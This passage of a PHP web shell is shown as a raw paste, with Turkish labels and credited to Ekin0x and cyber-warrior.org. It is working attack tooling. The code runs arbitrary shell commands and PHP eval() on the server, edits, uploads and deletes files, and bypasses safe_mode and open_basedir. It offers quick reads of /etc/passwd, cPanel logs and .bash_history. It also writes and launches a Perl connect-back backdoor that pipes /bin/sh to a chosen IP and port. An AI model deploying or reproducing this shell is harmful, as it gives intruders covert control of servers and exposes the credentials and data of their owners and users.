  397.            (($perms & 0x0200) ? 'T' : '-'));    print $info;}
  398.  
  399.                   function readable_size($size) {
  400.  
  401. if ($size < 1024) {
  402. print $size . ' B';
  403. }else {$units = array("kB", "MB", "GB", "TB");
  404. foreach ($units as $unit) {
  405. $size = ($size / 1024);
  406. if ($size < 1024) {break;}}printf ("%.2f",$size);print ' ' . $unit;}}
  407. if($dlink=='ren'&&!isset($_REQUEST['rensub'])){
  408. print "<div><b><center>[<a href=".$PHP_SELF."?scdir=$nscdir> Geri </a>]</div>";
  409. print "<center>".$sf;input ("text","ren",$_REQUEST['ren'],20);print " ";
  410. input ("text","renf","New-name",20);print " ";
  411. input ("submit","rensub","Rename" ,"");print $ef;die();}else print "";
  412. if (isset ($_REQUEST['ren'])&&isset($_REQUEST['renf'])){
  413. if (rename($nscdir."/".$_REQUEST['ren'],$nscdir."/".$_REQUEST['renf'])){
  414. print"<center><div><b>[ ". $_REQUEST['ren']." is renamed to " .$sfnt.$_REQUEST['renf'].$efnt." successfully ]</center></div></b>";print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Curr-dir </a>]</div>";die();}else{print "<div><b><center>[ Yeniden Adlandirilamiyor ]</div>";
  415. print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Geri </a>]</div>";die();}}function fget($nscdir,$sf,$ef){print "<center>";
  416. print "<div><b>[ Editing <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ] [<a href='javascript:history.back()'> Geri </a>] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div>";
  417. print $sf."<textarea cols=157 rows=23 name=edittxt>";  
  418. $alltxt= file_get_contents($_REQUEST['edit']);
  419. $nalltxt=htmlspecialchars($alltxt);print $nalltxt;print "</textarea></center>";
  420. if (is_writable($_REQUEST['edit'])){
  421. print "<center><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else {print "<div><b><center>[ Can't edit
  422. <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ]</center></b></div><br>";}}function svetxt(){
  423. $fp=fopen ($_REQUEST['edit'],"w");if (is_writable($_REQUEST['edit'])){
  424. $nedittxt=stripslashes($_REQUEST['edittxt']);
  425. fwrite ($fp,$nedittxt);print "<div><b><center>[ <font color=DeepSkyBlue  >".basename($_REQUEST['edit'])."</font> Saved !! ]</center></b></div>";fclose($fp);}else {print "<div><b><center>[ Can't save the file !! ]</center></b></div>";}}
  426. if ($dlink=='edit'&&!isset ($_REQUEST['edittxt'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])&&!isset($_REQUEST['subqcmnds'])&&!isset($_REQUEST['eval']))
  427. {fget($nscdir,$sf,$ef);}elseif (isset ($_REQUEST['edittxt']))
  428. {svetxt();fget($nscdir,$sf,$ef);}else {print "";}function owgr($file){
  429. $fileowneruid=fileowner($file); $fileownerarray=posix_getpwuid($fileowneruid);
  430. $fileowner=$fileownerarray['name']; $fileg=filegroup($file);
  431. $groupinfo = posix_getgrgid($fileg);$filegg=$groupinfo['name'];
  432. print "$fileowner/$filegg"; }$cpyf=trim($_REQUEST['cpyf']);$ftcpy=trim($_REQUEST['ftcpy']);$cpmv= $cpyf.'/'.$ftcpy;if (isset ($_REQUEST['cpy'])){
  433. if (copy($ftcpy,$cpmv)){$cpmvmess=basename($ftcpy)." copied successfully";}else {$cpmvmess="Can't copy ".basename($ftcpy);}}
  434. elseif(isset($_REQUEST['mve'])){
  435. if (copy($ftcpy,$cpmv)&&unlink ($ftcpy)){$cpmvmess= basename($ftcpy)." moved successfully";}else {$cpmvmess="Can't move ".basename($ftcpy);}
  436. }else {$cpmvmess="Kopyala/Tasimak i?ßin Dosya Se?ß";}
  437. if (isset ($_REQUEST['safefile'])){
  438. $file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
  439. if(empty($_GET['file'])){if(empty($_POST['file'])){
  440. print "<center>[ Please choose a file first to read it using copy() ]</center>";
  441. } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
  442. $temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
  443. $zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
  444. fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
  445. print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
  446. </CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
  447. ini_restore("safe_mode");ini_restore("open_basedir");
  448. print "<center><pre>".$sta;
  449. if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";}
  450. if (isset ($_REQUEST['bip'])&&isset ($_REQUEST['bport'])){callback($nscdir,$_REQUEST['bip'],$_REQUEST['bport']);}
  451. function callback($nscdir,$bip,$bport){
  452. if(strstr(php_os,"WIN")){$epath="cmd.exe";}else{$epath="/bin/sh";}
  453. if (is_writable($nscdir)){
  454. $fp=fopen ("back.pl","w");$backpl='back.pl';}
  455. else {$fp=fopen ("/tmp/back.pl","w");$backpl='/tmp/back.pl';}
  456. fwrite ($fp,"use Socket;
  457. \$system='$epath';
  458. \$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\";
  459. echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo;
  460. echo \"[ User perms ][$]\";echo \"`id`\";echo;
  461. echo \"[ Start shell ][$]\";';
  462.  
  463. if (!\$ARGV[0]) {
  464.  exit(1);
  465. }
  466. \$host = \$ARGV[0];
  467. \$port = 80;
  468. if (\$ARGV[1]) {
  469.  \$port = \$ARGV[1];
  470. }
  471. \$proto = getprotobyname('tcp') || die('Unknown Protocol\n');
  472. socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n');
  473. my \$target = inet_aton(\$host);
  474. if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {
  475.  die('Unable to Connect\n');
  476. }
  477. if (!fork( )) {
  478.  open(STDIN,'>&SERVER');
  479.  open(STDOUT,'>&SERVER');
  480.  open(STDERR,'>&SERVER');
  481. print '\n[ Bk-Code shell by Black-Code :: connect back backdoor by Crash_over_ride ]';
  482. print '\n[ A-S-T team ][ Lezr.com ]\n\n';
  483.         system(\$sys);system (\$system);
  484.          exit(0); }
  485.                   ");callfuncs("chmod 777 $backpl");
  486. callfuncs("perl $backpl $bip $bport");
  487. print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br>
  488. [ Check your connection now, if failed try changing the port number ]<br>
  489. [ Or Go to a writable dir and then try to connect again ]<br>
  490. [ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]
  491. </div><br>";}if (isset($_REQUEST['uback'])){
  492. $uback=$_REQUEST['uback'];$upip=$_REQUEST['upip'];
  493. if ($_REQUEST['upports']=="up80"){callfuncs("perl $uback $upip 80");}
  494. elseif ($_REQUEST['upports']=="up443"){callfuncs("perl $uback $upip 443");}
  495. elseif ($_REQUEST['upports']=="up2121"){callfuncs("perl $uback $upip 2121");}}
  496. delm("# Komut ?áAlistir #");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100% height=18%>";
  497. print "<tr><td width=32%><div align=left>";
  498. print $st.$c1."<center><div><b>".$mess3.$ec;
  499. print $c2.$sf."<center>";input("text","cfile","",53);
  500. input("hidden","scdir",$nscdir,0);print "<br>";
  501. input("submit","crefile","Olustur","");
  502. print " ";input("submit","delfile","Sil","");
  503. print "</center>".$ef.$ec.$et."</div></td>";
  504. print "<td><div align=center>".$st.$c1;
  505. print "<center><div><b>Enter the command to execute";print $ec;
  506. print $c2.$sf."<center><div style='margin-top:7px'>";
  507. input("text","cmd","",59);input("hidden","scdir",$nscdir,0);print"<br>";
  508. input("submit","","Execute","");print "</center>".$ef.$ec.$et."</div></td>";
  509. print "<td width=32%><div align=right>";print $st.$c1;
  510. print "<center><div><b>$mess".$ec.$c2.$sf."<center>";
  511. input("text","dir","",53);input("hidden","scdir",$nscdir,0);print "<br>";
  512. input("submit","credir","Create-D","");print " ";
  513. input("submit","deldir","Delete-D","");
  514. print "</center>".$ef.$ec.$et."</div></td></tr>";
  515. print "<tr><td width=32%><div align=left>";print $st.$c1;
  516. print "<center><div><b>Dosya D?ºzenle/Oku".$ec;print $c2.$sf."<center>";
  517. input("text","rfile",$nscdir,53);input("hidden","scdir",$nscdir,0);print "<br>";
  518. input("submit","","Oku-D?ºzenle","");print "</center>".$ef.$ec.$et."</div></td>";
  519. print "<td><div align=center>";print $st.$c1;
  520. print "<center><div><b>Dizin'i G??ster<br>";print $ec.$c2.$sf."<center><div style='margin-top:7px'>"; input("text","scdir",$nscdir,59);print"<br>";
  521. input("submit","","G??ster","");print " ";
  522. input("reset","","R00T","");print "</center>".$ef.$ec.$et."</div></td>";
  523. print "<td><div align=center>";print $st.$c1;
  524. print "<center><div><b>Dosya Boyutu : ".filesize($upfile)." in ( B/Kb )";print $ec.$c2."<form method=post Enctype=multipart/form-data><center>";
  525. input("file","upfile","",40);input("hidden","scdir",$nscdir,0);
  526. input("hidden","up",$nscdir,0);
  527. print"<br>";input("submit","","Upload","");print "</center>".$ef.$ec.$et."</div></td></tr>";
  528. delm("");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";print "<tr><td width=50%><div align=left>";
  529. print $st.$c1."<div><b><center>Execute php code with eval()</div>";
  530. print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0);
  531. print "&nbsp;<textarea cols=73 rows=3 name=eval>";
  532. if(!isset($evsub)){print "//system('id'); //readfile('/etc/passwd'); //passthru('pwd');";}else{print htmlspecialchars(stripslashes($eval));}
  533. print "</textarea><br><center>";
  534. input('submit','evsub','Execute');print " ";
  535. input('Reset','','Reset');print " ";
  536. print "</center>".$ec.$ef.$et;
  537. print "</td><td height=20% width=50%><div align=center>";
  538. print $st.$c1."<div><b><center>Execute useful commands</div>";
  539. print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0);
  540. print "<center><select style='width:60%' name=uscmnds size=1>
  541. <option value='op0'>Execute quick commands</option>
  542. <option value='op1'>ls -lia</option>
  543. <option value='op2'>/etc/passwd</option>
  544. <option value='op3'>/var/cpanel/accounting.log</option>
  545. <option value='op4'>/var/named</option>
  546. <option value='op11'>Perms in curr Dir</option>
  547. <option value='op12'>Perms in main Dir</option>
  548. <option value='op5'>Find service.pwd files</option>
  549. <option value='op6'>Find config files</option>
  550. <option value='op7'>Find .bash_history files</option>
  551. <option value='op8'>Read hosts file</option>
  552. <option value='op9'>Root login</option>
  553. <option value='op10'>Show opened ports</option>
  554. <option value='op13'>Show services</option>
  555. </select> ";print"<input type=submit name=subqcmnds value=Execute style='height:20'> <input type=reset value=Return style='height:20'></center>";
  556. print $ec.$ef.$et."</td></tr></table>";delm("");
  557. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  558. print "<tr><td width=50%><div align=left>";
  559. print $st.$c1."<div><b><center>".$cpmvmess."</div>";
  560. print $ec.$c2.$sf."&nbsp;";input("text","ftcpy","File-name",15);
  561. print "<b><font face=tahoma size=2>&nbsp;To </b>";
  562. input("text","cpyf",$nscdir,45);input("hidden","scdir",$nscdir,0);print " ";
  563. input("submit","cpy","Copy","");print " ";input("submit","mve","Move","");
  564. print "</center>".$ec.$ef.$et;
  565. print "</td><td height=20% width=50%><div align=right>";
  566. print $st.$c1."<div><b><center>Cok kullanilan Komutlar</div>";
  567. print $ec.$c2.$sf."&nbsp";input("hidden","scdir",$nscdir,0);
  568. print "<select style='width:22%' name=ustools size=1>
  569. <option value='t1'>Wget</option><option value='t2'>Curl</option>
  570. <option value='t3'>Lynx</option><option value='t9'>Get</option>
  571. <option value='t4'>Unzip</option><option value='t5'>Tar</option>
  572. <option value='t6'>Tar.gz</option><option value='t7'>Chmod 777</option>
  573. <option value='t8'>Make</option></select> ";input('text','ustname','',51);print " ";input('submit','ustsub','Execute');print "</center>".$ec.$ef.$et;
  574. print "</td></tr></table>";delm(": Safe mode bypass :");
  575. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  576. print "<tr><td width=50%><div align=left>";
  577. print $st.$c1."<div><b><center>Using copy() function</div>";
  578. print $ec.$c2.$sf."&nbsp;";input("text","safefile",$nscdir,75);
  579. input("hidden","scdir",$nscdir,0);print " ";
  580. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  581. print "</td><td height=20% width=50%><div align=right>";
  582. print $st.$c1."<div><b><center>Using ini_restore() function</div>";
  583. print $ec.$c2.$sf."&nbsp;";input("text","inifile",$nscdir,75);
  584. input("hidden","scdir",$nscdir,0);print " ";
  585. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  586. print "</td></tr></table>";delm("# Backdoor Baglantisi #");
  587. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  588. print "<tr><td width=50%><div align=left>";
  589. print $st.$c1."<div><b><center>Backdoor ile Baglan</div>";
  590. print $ec.$c2.$sf."&nbsp;";input("text","bip",$REMOTE_ADDR,47);print " ";
  591. input("text","bport",80,10);input("hidden","scdir",$nscdir,0);print " ";
  592. input("submit","","Connect","");print " ";input("reset","","Reset","");
  593. print "</center>".$ec.$ef.$et;print "</td><td height=20% width=50%><div align=right>";print $st.$c1."<div><b><center>Y?ºklenmis Backdoor</div>";
  594. print $ec.$c2.$sf."&nbsp;";print "<select style='width:15%' name=upports size=1>
  595. <option value='up80'>80</option><option value='up443'>443</option>
  596. <option value='up2121'>2121</option></select>";print " ";
  597. input("text","uback","back.pl",23);print " ";
  598. input("text","upip",$REMOTE_ADDR,29);print " ";input("submit","subupb","Connect");
  599. print "</center>".$ec.$ef.$et;print "</td></tr></table>";
  600. print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>"; print"<tr><td><font size=2 face=tahoma>";
  601. print"<center>Copyright  is reserved to Ekin0x <br>[  By Cyber Security TIM Go to : <a target='_blank' href='http://www.cyber-warrior.org'>www.cyber-warrior.org</a> ]";
  602. print"</font></td></tr></table>";
  603. include ($a.$b.$c);
  604. ?>
RAW Paste Data
Top